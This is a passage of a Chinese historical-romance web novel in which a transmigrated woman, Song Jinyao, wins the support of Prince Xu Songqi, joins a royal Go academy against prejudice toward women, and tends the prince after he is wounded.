徐颂祁挡在她的前面,眼底往日的温柔已然消失,声音冰冷:“宋小姐是本王亲自邀请的人,有何意见?”
她慢半拍才看向徐颂祁握住的手,不知为何,心突然安定下来。
看清来人是徐颂祁,刚刚还在喧哗不公的众人立马闭嘴,甚至因为害怕连头都不敢抬,汗水沿着额角落下,脸色不约而同地变得煞白。
为首之人更是被吓得话也说不明白,原本还想打人的手此刻颤抖不止:“王爷……既然是王爷邀请的人,自然不敢有意见。”
“本王好似听到你在侮辱宋小姐?辱她就是辱我,你说你有几条命够折磨的?”
闻言,为首之人被吓得跪倒在地,不断朝徐颂祁磕头道歉。见不好使,他又连忙朝身后的宋锦瑶磕头,直到头被磕得血流不止,也不敢停下动作。
众人见状,大气都不敢出,寂静的氛围中,只有不断的道歉与磕头声。
徐颂祁眼底毫无波澜,他往前一步,低头打量着地上那人,不明所以地低头轻笑道:“本王不仅要扶持宋小姐打破俗烂偏见,还要让她成为昭朝唯一的女围棋师。”
说罢,他牵着宋锦瑶的手直接从众人眼中走过,直至两人背影消失在视线里。
从宫殿走出来,太阳已经落下一个山头,黄昏的余光洒在周围的枝头上,映在他的脸颊旁。
宋锦瑶被他光明正大地牵着走出宫殿,两人无言地走在喧哗的街道上,任由行人投来异样目光,徐颂祁全然不理会。
她知道自己的身份,也知道徐颂祁的身份。一个王爷,一个曾被视为傻子的女子,怎么看都毫无关联。
听到耳畔的嘈杂声,宋锦瑶实在看不下去,主动撤手。抬眸间,正好对上那双温柔似水的眼睛。
看着他一脸疑惑的表情,宋锦瑶只能假装什么都不知道,掩饰尴尬地干笑两声,可气氛越发奇怪,索性闭嘴不说话。
徐颂祁疑惑地凑近一些,垂眸看着她:“宋小姐是感冒了吗?为何从宫殿出来后,脸庞就止不住泛红?”
见他想伸手触碰,宋锦瑶几乎是下意识地往后退,两双眼睛互相打量对方,一种莫名的尴尬突然袭来。
她只能努力露出自然的笑容:“多谢王爷出手相助,小女无以为报,日后若王爷吩咐,小女义不容辞。”
“好一个义不容辞。”徐颂祁弯着狭长的眼睛地注视着她,“宋锦瑶,午时本王问你的话,你现在还未答复。皇室围棋可是连名门望族都不一定能进去修学的地方,更别说像你现在的身份,你到底在犹豫什么。”
宋锦瑶看着他那双倒映出自己的眼睛,连风声都仿佛慢了半拍。
“我……”
“阿姊!阿姊!!”
不远处传来的声音打断他们的对话,那人带着十足的少年气朝他们奔来。因为声音过于响亮,路过的行人都忍不住朝他看去。
是位看上去比宋锦瑶还小的男子,高高竖起的马尾在风中随意摇摆,脸上的稚气尚未完全褪去,穿在他身上的衣服透露出与实际年龄不同的稳重。
走近些对方才意识到宋锦瑶身旁还站着人,看清是徐颂祁后,原本笑容满面的脸上顿时沉了下来。
他恭恭敬敬地朝徐颂祁行礼:“宋锦初见过王爷,王爷安康。”
宋锦瑶满脸好奇地打量着少年,才想起来前几日听丫鬟提起过宋锦初,只不过当时她心思全在围棋上,自然顾不上那么多。
徐颂祁看到他出现也感到惊讶:“宋小公子真是年少有为,听闻几个月就被提升为待御史,瞧今日打扮方才回京?”
“王爷所言甚是,听家父说阿姊今日参与围棋大赛,没想到竟会与王爷一起。”宋锦初不敢抬头,只能用余光瞥向宋锦瑶。
宋锦初是宋锦瑶的亲弟弟,也是在她得知这个身份时,为数不多对她好的人。
徐颂祁见来人了,自然不会刻意挽留。他目光落到她的身上,嘴角微扬道:“既然宋待御史来接宋小姐回府,本王自然不会为难,不过还请宋小姐下次见面时,告诉我答案。”
回府的路上,宋锦初不停地跟她讲述回京发生的趣事,丝毫没有察觉到宋锦瑶的变化。她也没说话解释,依旧静静地看着他,偶尔配合着轻笑,两人就这样有一搭没一搭地走到宋府。
因为宋锦初回来得仓促,府上为了给他接风洗尘,忙得不可开交。原本清冷的大厅此时坐满宾客,府里摆满酒席,整个宋府热闹非凡。
宋锦瑶一进府立马引起注意,好几位宾客停下手中动作抬头瞧看她,那种眼光她再熟悉不过,自然也不会放在心上。
宋锦初看着眼前为自己接风洗尘的宴席,一把拉过她的手,脚步欢快地朝正厅跑去,脸上绽开笑容,嘴角止不住传来笑声。
宋锦初的马尾随着身体弧度摆动,少年洋溢着欢笑声传遍整个府内:“阿姊!今日不止是我的宴席,也是为你赢得围棋的奖励!”
她呆呆地看着眼前的宋锦初,丝毫不在意他人异样的目光,整个人随着热闹的气氛欢呼着,恍惚片刻,她也忍不住跟着笑出声来。
饭桌上,宾客不断举着酒杯走上前为宋锦初庆贺,眼底满是利益,个个脸上挂着虚伪的
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笑容。
“今日宋小公子被传皇帝之命回京,想必日后定大有所为,前途无量啊!”
宋老爷乐呵呵地顺着好话互夸对方,宋锦初也跟着起身敬礼行酒。
“不愧是御史府,宋小公子才回来几个时辰,就能快速将宴会办得风风光光。宋御史,你有个这样的儿子,日后就享清福吧。”
宾客说的没错,宋锦瑶也漠不关心,只不过她注意到宋锦初紧握的拳头,好似在克制什么。
他正视眼前众多宾客,厉声道:“今日不止是我一人宴会,还有我阿姊,你们不应该庆祝她吗?她可是京城内第一个女子围棋获胜,远比我厉害得多。”
此话一出,原本热热闹闹的氛围霎时间安静下来,宋锦瑶顿时感到眼前一黑。
她之所以从始至终都没出声,就是怕打搅宋锦初的宴会,她深知众人对她有多厌恶,只有将她隐藏起来,才是最安全可靠的方式,却不曾想到,这小子自己给自己找麻烦。
宋老爷见状,连忙和大家解释,试图重新活跃气氛。众人也都是京城有头有脸的大人物,自然不会放在心上,认为宋锦初只是年轻气盛,说得有些无头无脑罢了。
见他们试图躲避话题,宋锦初顿时气不打一处来:“我说得没错,我阿姊是天下最厉害的人,只要我宋锦初一日在京城,你们休想欺负我阿姊!”
原本一直在隐忍的宾客,这时火气也上来了,见他如此保护宋锦瑶,其中一个宾客讽刺道:“宋待御史此话何以?什么叫做我们欺负你阿姊?宋锦瑶从小就是傻子你又不是不知道,今日到底是我们在欺负你阿姊,还是你仗势欺负我们啊?”
“就是,这不是本末倒置吗,无缘无故我们为何要欺负你阿姊?确实不是你阿姊先招惹我们的?”
宋锦初:“你们……”
再这么下去,宴会指不定被搞砸。
宋锦瑶无声牵过宋锦初紧握的拳头,抬眸与他对视时,轻轻摇头。
宋锦初一向听从她的话,即使是以前她疯疯癫癫时,他也从未改变。见她苦涩摇头,纵使内心有多么不甘,他也撇了撇嘴,最后还是顺从宋锦瑶的话,赌气坐下不吭声。
幸好宴会有惊无险完成,只不过宴会主要人却气得谁也不待见,一个人赌气将自己关在房间里,无论谁来了也不好使。
宋老爷怕宋锦初气坏身子,连忙叫宋锦瑶过来劝导。可正值青春的年纪,脾气倔得跟头牛似的,怎么好言好句都无济于事。
大晚上宋锦瑶站在房门前,嘴巴都说干了,里面的人愣是一声不吭,她有些生无可恋,这不比下围棋还要难吗。
“你再不开门阿姊可就要走了。”这句话宋锦瑶已经重复不下十遍,只有刚开始时,里面的人还会说话理她,现在是理都不带理的。
“……”
“这次是真的走了,夜深了,阿姊也需要休息。”
“……”
“……”
突然整个空气都安静下来,听外面果真没了声音,宋锦初连忙打开房门查看,眼底闪过一丝慌张:“不要,我还没哄好,你不许走。”
见门外空荡荡,宋锦初现在才知道后悔,想也没想朝她房间走去,可还没等迈开步伐,身后便传来声音。
只见宋锦瑶靠在墙边,饶有兴趣地打量着他:“这不就哄好了吗?弟弟。”
5. 005
月光如水,照映在她的脸上,使得整张轮廓温柔清晰。
宋锦初瞧见这副模样,神色茫然地愣在原地,许久才忍不住笑出声。
散去热闹后的宋府晚上格外清冷,微风拂过宋锦瑶的发梢,带来丝丝寒意。两人无言地坐在走廊边的阶梯上,唯有满天繁星相伴。
良久,宋锦初垂眸看向地上的枯枝,闷声问道:“阿姊是不是觉得我今晚在宴会上如此任性,有损待御史脸面?”
宋锦瑶若有所思地想了片刻,伸手捡起地上的小碎石向他掷去:“确实,很任性。”
见宋锦初不满地抬头望着她,眉头紧锁,宋锦瑶忍不住笑出声:“也罢,谁叫他们无视阿姊呢,你只不过是帮阿姊找回场子,我很感激。但下次不许这样了,毕竟皆是御史宾客,往后让阿爹如何面对他们?”
宋锦初闷闷地应了一声“哦”,看着她不断朝自己脚边扔石子,也不言语,默默地一一拾起。
今夜风格外冰冷,他的声音也染上了几分冷淡:“今日阿姊为何会与王爷在一起?难不成此次围棋大赛也是王爷邀请你去的吗?阿姊你根本不知道他……”
“锦初,多嘴了。”宋锦瑶打断他的话,脸上并无太多波澜,“我也不知王爷为何如此,他还邀我加入皇室围棋课,说实话,我着实有些犹豫。”
听闻此话,宋锦初猛地站起身,俯视着地上的宋锦瑶,语气严厉:“不行!阿姊你不可以同意!”
见他反应如此强烈,宋锦瑶不明就里地起身,两人相互对视,她刚想询问为何,话语被他抢先。
“阿姊你根本不知道皇室内部有多么荒唐恐怖,皇子如此,王爷亦如此。”他眼底闪过惊慌,好似知道些什么,呼吸急促道,“况且阿姊只是女子,安安稳稳陪伴阿爹,待过几年嫁出去不好吗?”
宋锦瑶:“……”
她望着眼前这个陌生的弟弟,有一瞬觉得自己挺可笑。自以为找到一个能理解自己的家人,到头来他的想法依旧与旁人无异,认为女子只有嫁人才是最稳妥安全的归宿。
还没等宋锦初话讲完,宋锦瑶便冷漠打断:“不好!与其庸庸碌碌被人一辈子轻视,倒不如凭实力打破传统观念。我不是奴隶,我有掌握自己命运的权利。”
察觉到宋锦瑶生气,他明显慌了神,连忙道歉解释,可她选择再也不听,丢下他扭头朝内府走去。
等夜深人静,她再次抬头透过窗外看星空。哪有什么漫天星辰,不过是一团乌云罢了。
自与宋锦初闹僵后,宋锦瑶便再也没见到过他。瞧见御史府每日宾客往来不绝,不用猜也知道是圣上提拔,他近来忙于上朝。
她整天闲来无事便会去书肆看看,学习当今朝代的围棋风格,偶尔走在街上还能碰到人在对弈,她也不再多嘴说话,怕找来不必要的麻烦。
这日和往常一般,宋锦瑶前脚刚走出书肆,后脚便听到不远处有人跪在地上哀求,那人额头拼命朝地面磕去,泪水顺着脸颊滑落,声音响彻整条街巷。
“求求你,救救我阿爹吧,他已经三日疼得吃不下饭了,再这么下去会死啊。”
宋锦瑶闻声好奇走近些,看清地上跪着的是位女子,纵使已经泪流满面,额头被磕得渗出鲜血,让人看不清相貌,可她依旧察觉到这人好似在哪里见过。
见周围引来众多路人,大夫生怕地上的女子砸了自家招牌,怒喝道:“你已经两次没付我钱了,我还没找你算账,你倒好自己找上门是吧!”
大夫将女子硬塞给他的剪纸尽数扔在地上,满脸嫌弃地踩了几脚:“你这破烂玩意儿能值几个钱?我已说过多次,你爹那病无药可医。趁早准备棺材得了吧。”
行人露出嘲讽的神色讥笑地上的女人,大夫高高在上地将她辛辛苦苦制作的剪纸踩在脚下,周围人没有任何同情心来理解她,甚至觉得她在丢人现眼。
这就是这个朝代的女人,一个卑微到极致的人。
话音刚落,人群里突然想起洪亮的声音:“她欠您多少钱,我替她还。”
霎时间整个气氛安静下来,众人闻声望去,只见宋锦瑶一副英姿飒爽模样,将钱囊重重拍在桌上,那姿势倒有几分女侠风范。
看清来人是谁,原本在旁围观的众人顿时噗嗤笑出声,就连大夫也险些没忍住,撇过脸干笑两声。
只有地上的女人看到宋锦瑶后,露出惊讶表情,眼泪跟是止不住流出,声音沙哑地唤道:“小姐……”
宋锦瑶左顾右盼眼看着事情不是往她想象中发展,眉头微蹙,将桌子上的钱囊丢给大夫,轻咳道:“我把钱给您,您快去救她阿爹。”
大夫鄙夷地上下打量她的钱囊,满脸讽刺道:“宋小姐好‘阔绰’,就这点钱连给她还债都不够,还指望我看病?真是一个傻子一个疯子,去去去,滚远点,别挡着我家做生意。”
宋锦瑶钱囊数目不小,甚至能购买京城上好的料子,可他居然说都不够看病的一次钱,可想而知她阿爹得了很重的疾病。
宋锦瑶看着地上的女人,回想到她曾帮自己逃脱傅府的人,实在做不到袖手旁观。女子对她有恩,无论如何她也要还这个人情。
见大夫要走,她连忙走上去拉住他的衣角,语气诚恳道:“无论她欠您多少钱,等我回府一并还您,还请您先去救他阿爹。”
“没完没了是吧。”大夫怒火一下子冲上来,“我今日就不去救她阿爹,你能拿我怎么样?怎么?让你待御史弟弟派人抓我啊。”
宋锦瑶强忍怒火瞪着大夫,手指攥紧衣角有点泛白,但仍旧没有要放手的意思。
大夫眼见两个女人挡住自己做生意,直接甩手将她用力推开,听到周围不断传来看热闹的嘲笑声,大夫甚至没给宋锦瑶任何反应机会,气得他拎起钱囊朝宋锦瑶砸去,她根本来不及躲闪。
钱囊垫在手上并不轻,要是朝人的头上砸去威力可不小。
“小姐!”
跪在地上的丫鬟想也没想直径朝宋锦瑶跑去,一把拉过她的手用自己身体挡住重物。下一秒,钱囊重重砸在丫鬟的后脑勺,她几乎瞬间便没了意识朝地面倒下,钱囊布袋边隐隐染上鲜血。
众人瞧见这幕,吓得连连往后退,生怕被官人发现惹上麻烦。大夫也没想到钱囊果真能砸晕人,看着地上不断渗出来的鲜血,他被吓得脸色煞白,虚汗从额头留下,眼底全是惊慌。
风评一下子全变成谴责大夫恶劣行为,纵使这样也无人愿意上前帮忙,他们站在局外,对里面的人指指点点。
宋锦瑶看着丫鬟身上流出一地血迹,她跪在地上无助地用手帕止住伤口,很快手帕裙摆无一处不沾染血迹,鼻腔也传来铁锈味,见根本不管用,她只能再次祈求大夫能够帮帮她。
宋锦瑶被眼前的事情吓得惊慌失措,指尖更是害怕得止不住发抖:“求你帮帮她,再这样下去她会死的。”
大夫眼看着事情往不好的事情发生,立马将周围的人全都遣散,一脸嫌弃地瞥了眼地上两人:“贱奴而已,死也别死在我店铺门前。”说罢,头也不回朝里头走去。
看热闹不嫌事大的人眼见肇事者都走了,自然觉得无趣零零散散全都离开,空荡荡的街道上只剩宋锦瑶一个人,风冷冷地吹在她的身上,寒的却心。
丫鬟嘴唇发白,声音若隐若现,意识越来越模糊,但她还是紧紧握着宋锦瑶的手,看到她眼角的泪水,忍不住打趣
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道:“小姐,你没事真的太好了。自从上次你逃走后,我被傅府的人抓住,他们以你被抓住为由让我招供,但我没说,因为我相信小姐一定会逃出的。”
宋锦瑶握住她逐渐冰冷的手,疯狂摇头,眼泪一滴一滴打在她的脸上,她却笑了。
“小厌真的好开心,以为今生再也见不到小姐了,没想到小姐居然还认得出我。小姐不要哭,小时候你就是这样帮我擦眼泪的。”
小厌想伸手替她擦眼泪,但身体怎么使不上力,她苦涩道:“对不起小姐,奴婢只是个贱奴,不仅让你备受他人冷眼还弄脏你的裙子。如果还有来世,我真的好想永远站在小姐身旁。”
宋锦瑶看着怀里的人慢慢闭上眼,只能无助地一直摇晃她的身子,试图让她有意识。她抬头不断朝周围呼救,换来的都是行人避之可极。
宋锦瑶:“不会的,你不会有事的,我保证你不会死的,求你,求你再坚持下。”
“好想…活下去。阿爹…还在家里等我。”
又是一阵风动,宋锦瑶跪在地上身子早已没了知觉,见怀里的人不再说话,她只能无助不甘地哭泣,为她的无能哭泣,为这世上冷漠之人哭泣。
突然,耳畔传来清脆好听的铃铛声,紧接着一个身影停在她的面前。那人声音和往常一般平静温柔,甚至多了一丝意外。
徐颂祁与她一同蹲下,看着面前满地血迹,丝毫没有任何嫌弃。他轻轻摆手示意手下将小厌救走,又默默拿出自身干净的手帕擦拭宋锦瑶脸上的泪痕。
徐颂祁浅笑道:“才几日不见,宋小姐怎么把自己糟蹋成这样?”
这一刻,她再也忍不住了。
宋锦瑶一把抱住徐颂祁,声音在此刻终于绷不住放声痛哭,好似要将这几日所发生的事情一并发泄出来,身子更是颤抖不已。
手下见状立马想制止,可徐颂祁却伸手轻轻拍打她的后背,小心翼翼地安慰脆弱的她。从此一身雪白的衣裳也染上鲜红的鲜血。
“抱歉,我来晚了。但一切都没事了。”
夜凉如水,宋锦瑶坐在门前的石阶上,心不在焉地抬眸凝视着月亮。徐颂祁什么时候从身后走来自己身旁坐下,她也全然不知。
“大夫说里面情况很差,但幸好及时送来止血抢救,活来下的希望还是很大。”徐颂祁侧头看着宋锦瑶,眼眸中闪过复杂情绪,“所以你不必在这等一晚上。”
宋锦瑶神色冷漠的轻“嗯”声,但依旧坐下石阶上一动不动,好像整个人都没回过神来。
徐颂祁也没多说什么,两人就这样抬眸看着月亮不再说话。良久,宋锦瑶回眸看着身旁的徐颂祁,眼底流露出她从未有过的神色。
“王爷,今天真的很感谢你能帮我。关于你对我的恩情,我已经述说不清。之前所说的事情,我考虑了很久,如果王爷真心邀请我加入,那我愿意。”
宋锦瑶注视着徐颂祁那双深不见底的眼睛,半响,对方并没有表现出她想象中那样开心,反而是一丝失望。
徐颂祁伸手将她脸颊上的碎发别在耳后,语气格外严肃道:“宋锦瑶,我从未想用恩情来束缚你加入,我希望是你发自内心的想法,我不会强迫你,更不愿意看你用这样的方式来报恩。”
这些她自然知道,只不过在那个瞬间,她才意识到自己的无能,看到世人的冷漠。必须有人站出来发声,为那些正在遭受压迫的女性发声。
宋锦瑶丝毫没有犹豫回道:“王爷,我是发自内心的,我想要参加皇室围棋,我想要打破世人偏见,我想要做到人人平等。”
听到这些话居然是从一个女子嘴里说出来的词,徐颂祁嘴角显露出一抹不易察觉的微笑。
6. 006
最近几日宋锦瑶三番五次往小厌家跑,在徐颂祁帮助下,小厌父女俩全都康复。为报答他俩恩情,小厌父亲差点跪在地上磕头,幸好宋锦瑶连忙制止。
临走前,小厌父亲紧紧握住宋锦瑶的手,那手上粗糙的茧子摩挲着她的肌肤,满是愧疚与感恩说道:“宋小姐,你的大恩大德,我父女二人此生难忘。小厌都一五一十地跟我说了,若不是你和王爷救我们,我和小厌估计早就阴阳两隔。”
言罢,他拉过小厌的手,轻轻搭在宋锦瑶的手背上,语重心长继续道:“既然宋小姐对我们有恩,我们就必须得报。要是宋小姐不嫌弃的话,从今日起,就让小厌丫头随了你吧。”
宋锦瑶瞧见两人真诚的面孔,她实在无法拒绝,只好朝身旁的徐颂祁看去,眼神中透露出一丝踌躇。
见徐颂祁倚在墙边含笑打量着她,昂首微微点头示意,她这才同意小厌父亲的话,决心带小厌一同与她去皇室围棋学习。
离开御史府那天,宋锦瑶才看到多日不见的宋锦初。他不再像第一次见面那般朝气蓬勃,反而透露着更多的成熟稳重。
纵使宋老爷如何劝说,他就像个犟种一样,自始至终都没在说过话,只有望着宋锦瑶越来越远的马车,他才忍不住跑上去,语气流露出依依不舍。
“阿姊我错了,那日我不应该那么说你,你真的很勇敢,我会在家等你回来的!”
马车内,宋锦瑶抬眸望向车窗外,听闻此话,嘴角不易察觉扬起微笑。
皇室围棋课几乎是封闭式管理,住在这里的学子在京城都是有头有脸的大人物。只是多为男子为主,让宋锦瑶一个女子进入,想必日后的流言蜚语只会更多。
马车停在外院门口便不让进入,宋锦瑶只好跟小厌两人领着包裹走路进去,一下马车她就立马瞧见徐颂祁。
徐颂祁一袭月牙白袍站在站在门口,身姿清瘦挺拔,双唇边浮起一抹浅淡的笑意,透着温文尔雅。
手下见状,连忙走上前领过包裹,两人并肩走在路上,一路徐颂祁都给她提前熟悉这里的环境以及课程。
皇室围棋学堂果真和传闻中一样,不仅处处透露着华丽精贵,而且还有立柱环绕四周,柱身雕刻着精美的图案。
宽敞的大厅里,林立着一排排的书桌。桌椅皆由稀有的紫檀木打造,散发着淡淡的幽香。
他们每经过一处房屋徐颂祁都会仔细介绍,直到走进后花园。
他望着前面的屋舍,颇有耐心道:“前面就是你住的地方,因为是临时整理出来,位置可能偏僻些。往前走拐弯便是我的住宿,你若有任何需要都可以来找我。”
宋锦瑶微微点头,刚想继续开口询问,不料被突如其来的声音打断。
来人是位风度翩翩公子郎,眉眼间透露出嬉戏打闹神色:“徐颂祁,洛青尹那小子你看到没?”
看清他身旁还站着为女子,声音情不自禁提到声量,脸上难以掩盖的激动和好奇:“呦,这就是你前几日和夫子所提到的女子?长得挺水灵的嘛。”
常玉恒突然凑近查看宋锦瑶脸庞,还没等她好好打招呼,手腕一紧她直接被徐颂祁拉到身后。
徐颂祁淡然含笑道:“洛青尹我没看到,但是你下次再敢突然凑近,休怪我不讲情面。”
常玉恒无奈地叹了口气道:“知道你看重她。没看到就没看到呗,凶我干嘛,好生无趣,走了。”
见他远去的背影,徐颂祁陪笑道:“还请宋小姐见谅,这里绝大数都是学子,可能有些小打小闹,日后你也会和他们接触,若有不舒服的地方,直接无视他们即可。”
宋锦瑶没有说话,默默点头示意。
皇室围棋学堂处于京城静辟之处,是皇室特意挑选之地,无论黑白时分,整个学府内都是静悄悄的,只有鸟虫的鸣叫声。
徐颂祁说是临时整理出来的房间,却总感觉透露出精心已久的错觉。
好在宋锦瑶适应能力极强,并不在意住所要求,环顾四周便安心住下,周围少了旁人的吵杂声,耳畔难得可以清静些。
翌日清晨,她早早起来梳洗打扮,跟着徐颂祁并肩走进学堂,里面果然全是男子。
他们看到宋锦瑶第一眼就被眼前的美人给愣住。宋锦瑶生来美人骨,棱角分明的五官与当今朝代审美截然不同,属于让人见了印象深刻的浓颜美人。
好在贵公子们美人看得多,相互唏嘘片刻都闭了嘴。第一天相处来下,她甚至感觉到还不错,起码不会像想象中那种侮辱她。
不知是不是徐颂祁太过于保护她,宋锦瑶隐隐约约能够察觉到周围人对她的异样。她非常清楚自己来这里的目的,只能装作什么也不知道,老老实实深造棋艺。
这日,徐颂祁被圣上连夜召回朝廷,宋锦瑶只好独自学习,没了徐颂祁在身旁,她竟会产生一种寂寞感。
可能疯了吧,她想。
课间午后,阳光透过树叶缝隙洒下,在后花园中形成一片片光斑。宋锦瑶静静地坐在花园的石凳上,面前摆着一盘未下完的棋,身旁的花朵娇艳欲滴,散发出阵阵芬芳。
她手指轻轻摩挲着棋子,凝视着棋盘,思考下一步走法,不料身后传来异声。
“这不是宋锦瑶吗?怎么一个人在这孤芳自赏?徐颂祁呢?哦,我想起来了,他赴命回朝廷啊。”
为首的是位身着华丽服饰的公子,他面容姣好,但眼神中充满傲慢与不屑。看到宋锦瑶独自在此,眼中顿时露出不屑。
听闻,他身旁男子立马劝和道:“青尹,宋小姐可是徐颂祁亲自邀请的人,莫要失了礼数。”
宋锦瑶认得他,正是那日过来时,作弄自己的常玉恒。
常玉恒和徐颂祁一样,言语间处处透露着一股温文尔雅气息,让人一眼便能察觉到他是世家贵族公子。
洛青尹好似听到什么天大玩笑,三两快步走到宋锦瑶面前,满眼轻蔑道:“真不知道你身上哪点值得徐颂祁求情,怎么看不就是个花瓶吗?还是说你早就和他……”
话音未落,宋锦瑶脸色瞬间一沉,眉头微蹙,眼神中透露出强烈的不悦:“公子可以侮辱我,但和王爷无关。见公子如此目中无人,想必实力也不够强,不会全身上下只有嘴最硬吧?”
“你!”洛青尹闻言被气得脸一青一紫,“大胆!你个御史女子敢这么和我讲话,就不怕全家掉脑袋吗?”
宋锦瑶赫然起身,气场丝毫不减他半分:“怕啊,但夫子说过,学堂境内不分辈分,倘若公子执意要取我脑袋,那请便。”
见洛青尹吵不过一个女子,常玉恒连忙向她赔礼道歉。
没好气撇过脸,气得牙痒痒:“玉恒你干嘛跟过她道歉,既然她怎么能耐,能吸引徐颂祁的注意,不妨对弈一番?要是你输了,给我主动离开皇室围棋课!”
宋锦瑶冷冷怼了回去,一字一句道:“比就比,要是公子输了,那便整日围着王爷道歉,直到我满意为止!”
霎时间,两人死死互相瞪着对方,仿佛空气中弥漫着一股浓重的火药味。
棋盘上,黑白棋子相互交织,形成错综复杂的战局。洛青尹微微皱眉,他本以为宋静瑶只是个稍有风味的平凡女子,却没想到对方能在棋盘占据优势,更没想到宋锦瑶的防守密不透风,反击更是凶很果断。
宋锦瑶步步紧逼,每一步棋都充满攻击性,对方除了最开始那副得意气势,后面整个人都小心翼翼不少,每一步棋,洛青尹都经过深思熟虑,绝不轻易落子。
棋局过半,宋锦瑶嘴角始终挂着一丝淡笑。见她心态如此沉稳
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,洛青尹心中不禁有些急躁。他开始加快进攻的节奏,试图在短时间内击败宋锦瑶。然而,他的急躁却让他露出破绽。
宋锦瑶敏锐地捕捉到这个破绽,果断地发起反击。她的棋子如同利剑一般,直刺对方要害。
在场人见证棋盘上的厮杀,一个个不经意间显露出惊愕神色,要不是他们亲眼瞧见宋锦瑶落棋,简直不敢相信黑子的凶狠,居然是位女子能下得出来的风格。
直到最后,宋锦瑶脸上依旧面无表情,她看着眼前必胜局面,抬眸望去正好将众人惊愕表情尽收眼底。
他们从来没想到一位看似弱不禁风的女子,棋盘上竟有如此强大实力。心态不仅沉着稳重,甚至能凭着精湛棋艺防守为攻,步步击中对方致命点。
“怎么可能!我怎么可能会输给一位女子,绝不可能!”
洛青尹满嘴否认棋盘上的一切,他实在看不出宋锦瑶棋艺究竟有多么了得。
宋锦瑶无言收拾残局,直到耳畔响起常玉恒的惊叹声:“宋小姐好棋法,实属让在下学到很多新知识。只不过。”
常玉恒稍有停顿,陷入思考:“宋小姐这棋艺从何学来?我在整个大昭都未曾见过。”
听闻,宋锦瑶猛然抬头对上常玉恒那双深不见底的双眸,他的眼睛好似能窥探内心所有谎言,让人不禁后背发凉。
宋锦瑶这才意识到,无论她现在的棋法还是风格,都和现代别无一二,但在这个世界,却显得如此突兀,甚至除了她以外,没有任何人知晓。
见她不说话,常玉恒走近一步,他狭长的眼睛微眯着发出疑惑:“宋小姐?你在听吗?”
就在这瞬间,洛青尹猛地起身,他病殃殃地走到常玉恒的身旁,感觉内心深受打击,哭泣泣打断道:“是在下愚昧,不知宋小姐实力如此了得。宋小姐的惩罚等徐颂祁回来,我便会执行。”
宋锦瑶见状,立马起身顺着他的话题走:“唤我本名即可,往后还麻烦你们多照顾些。”
洛青尹实在是丢不起这个面子,连忙拉着常玉恒头也不回的走了,临走前耳垂不易察觉泛起淡淡羞红。
宋锦瑶望着两人离去的背影,脸色略显凝重,回想到常玉恒刚刚所说的话,她才慢一拍反应过来。
常玉恒才见过一次她的对弈,便能精准无误猜出她的棋艺不符合当代风格,那徐颂祁更不用猜,便能知晓她第一次见面时,那句“祖父所教”的话是假的。
因为在这个朝代,宋锦瑶的祖父早就在她还未出生前便离世,又怎么可能教她围棋。
宋锦瑶盯着桌上的花瓶,好像随时都能变成碎片。
夜已经深了,宋锦瑶躺在床榻上却怎么也睡不着,只要回想到午间那些话语,她总感觉心里有种不好预感,思索良久,索性起身走走。
她缓缓点亮烛台,刚披上外衣便听到门外走廊传来动静。她的心瞬间警惕起来,攥紧衣服不敢发出声音。
察觉到里面没了动静,外面果然也安静下来。
不会吧?就她这个偏僻的房间都能进贼?
宋锦瑶暗自叫苦,小心翼翼地走向门口,仔细窥探门外情形,然而门外依旧寂静无声,就好像之前的动静是她错觉。
她在门口踌躇片刻,直到确定外面没人后,宋锦瑶才敢开门出去查看。
果然,外面除了微弱的灯光外,空无一人。宋锦瑶松了口气,认为都怪常玉恒那段话,害得她神经都脆弱不少。
就在转身之际,手腕蓦地被人从身后握住,还没反应过来,随着力气顺势被人紧紧抱在怀里。
?
宋锦瑶下意识想推开身上的人,不料耳畔传来对方呼吸的余温,紧接着熟悉的气息萦绕鼻尖,隐隐夹杂着一丝铁锈味。
“别动,是我。”
7. 007
夜色如水,在此刻显得更为寂静。
宋锦瑶能清晰地感知到徐颂祁的气息,每一次他的呼吸轻拂在她的脖颈,都带着丝丝缕缕的电流,让她身体不由自主地微微紧绷。
一开始她还比较抗拒,随着时间缓缓流逝,她便不再反抗,任由他趴在自己身上。
见他不说话,宋锦瑶犹豫再三,还是轻声开口试探:“王爷,你不应该在朝廷内吗?为何会突然出现在这里。”
徐颂祁没有说话,依旧一动不动地站在原地,直至宋锦瑶不经意间触碰到一片黏腻,紧接着那股刺鼻的铁锈腥味弥漫开来,她心猛地一沉。
宋锦瑶连忙低头查看,果然见他腹部鲜血汩汩涌出。她也顾不上身份之差,赶忙将徐颂祁扶进房间。
怕惊动外人,宋锦瑶独自端来热水,小心翼翼地为他擦拭伤口。见徐颂祁唇齿发白,额前渗出细密的虚汗,她不禁回想起宋锦初的话。
“阿姊你根本不知道皇室内部有多么荒唐恐怖,皇子如此,王爷亦如此。”
坐于王位之上,哪有所谓的绝对安全。瞧见他这副模样,应该是强忍着伤痛跑到房间门口。
朝廷内到底发生了什么,为何仅一天时间便被人行刺。
宋锦瑶撑着脑袋目光落在他的脸上,发丝凌乱地散落在额前,少了平日里的儒雅与沉静,多了几分狼狈与脆弱
“看够了没有?”徐颂祁并未睁眼,话语中却带着淡淡笑意,“宋小姐真是人美心善,大半夜竟然将一个男子随便领进房间。”
宋锦瑶闻言,猛地站起身,脸上闪过惊讶,吞吞吐吐道:你……你没睡着!我是想问,王爷为何会在此处,为何伤得这么重。”
徐颂祁垂眸瞥了眼伤口,又抬头对上她那双不明所以的眼睛,轻笑道:“不过是被人稍稍伤了下,不碍事。回来途中恰好瞧见宋小姐房内亮着灯,便不由自主地过来了,还得劳烦宋小姐帮忙处理伤口。”
言毕,徐颂祁便想起身,被宋锦瑶即使拦下:“王爷伤势不轻,还是不要动较好。”
徐颂祁抬眸看着她眼底的担忧,神色一下子柔和不少:“若本王当真在这里寄宿一晚,宋小姐睡哪?若隔日被闲杂人瞧见,传出去有损你的清誉,本王实属承当不起。”
宋锦瑶知道他在打趣自己,也不吭声默默扶着他起身。
“王爷执意要走,小女自然不敢阻拦,只不过夜已深,恐怕只能等明日找大夫来看。”
听闻,徐颂祁眼底闪过复杂情绪,他凝视着近在咫尺的她,嘴角勾起一抹微笑:“宋锦瑶,你是在关心我吗?”
空气霎时间安静下来,宋锦瑶撇过脸没有说话。
临走前,徐颂祁忍不住摸了摸她的头,听起来心情格外开心:“不用担心我,你早点休息,明天见。”
望着徐颂祁远去的身影,宋锦瑶依旧站在原地目送他离开,直到对方彻底消失在黑夜中。
翌日清晨,学堂内。宋锦瑶刚踏入门槛,便瞧见洛青尹围着徐颂祁打转,嘴里不停重复“抱歉”,周围人也只当看个乐,偷偷躲在一旁偷笑。
